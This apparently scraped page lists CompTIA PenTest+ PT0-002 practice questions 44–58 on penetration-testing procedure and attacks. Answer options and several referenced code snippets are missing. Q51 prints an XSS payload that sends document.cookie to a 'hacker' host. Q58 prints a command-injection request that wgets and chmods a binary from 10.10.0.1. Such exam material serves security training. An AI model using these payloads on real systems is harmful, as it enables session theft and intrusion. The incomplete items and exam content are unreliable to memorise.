[Dec-2022] Free PT0-002 Exam Questions PT0-002 Actual Free Exam Questions [Q44-Q58]

NO.44 A penetration tester is attempting to discover live hosts on a subnet quickly.
Which of the following commands will perform a ping scan?

NO.45 A penetration-testing team is conducting a physical penetration test to gain entry to a building. Which of the following is the reason why the penetration testers should carry copies of the engagement documents with them?

NO.46 Which of the following BEST describes why a client would hold a lessons-learned meeting with the penetration-testing team?

NO.47 User credentials were captured from a database during an assessment and cracked using rainbow tables. Based on the ease of compromise, which of the following algorithms was MOST likely used to store the passwords in the database?

NO.48 A penetration tester who is conducting a vulnerability assessment discovers that ICMP is disabled on a network segment. Which of the following could be used for a denial-of-service attack on the network segment?

NO.49 A penetration tester discovers that a web server within the scope of the engagement has already been compromised with a backdoor. Which of the following should the penetration tester do NEXT?

NO.50 The following line-numbered Python code snippet is being used in reconnaissance:

Which of the following line numbers from the script MOST likely contributed to the script triggering a “probable port scan” alert in the organization’s IDS?

NO.51 Given the following code:
<SCRIPT>var+img=new+Image();img.src=”http://hacker/%20+%20document.cookie;</SCRIPT>
Which of the following are the BEST methods to prevent against this type of attack? (Choose two.)

NO.52 Which of the following expressions in Python increase a variable val by one (Choose two.)

NO.53 Which of the following should a penetration tester do NEXT after identifying that an application being tested has already been compromised with malware?

NO.54 Which of the following should a penetration tester consider FIRST when engaging in a penetration test in a cloud environment?

NO.55 A penetration tester finds a PHP script used by a web application in an unprotected internal source code repository. After reviewing the code, the tester identifies the following:

Which of the following tools will help the tester prepare an attack for this scenario?

NO.56 A penetration tester ran the following commands on a Windows server:

Which of the following should the tester do AFTER delivering the final report?

NO.57 A company is concerned that its cloud VM is vulnerable to a cyberattack and proprietary data may be stolen. A penetration tester determines a vulnerability does exist and exploits the vulnerability by adding a fake VM instance to the IaaS component of the client’s VM. Which of the following cloud attacks did the penetration tester MOST likely implement?

NO.58 A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized:
exploit = “POST “
exploit += “/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} –
c${IFS}’cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}apache;${IFS
&loginUser=a&Pwd=a”
exploit += “HTTP/1.1”
Which of the following commands should the penetration tester run post-engagement?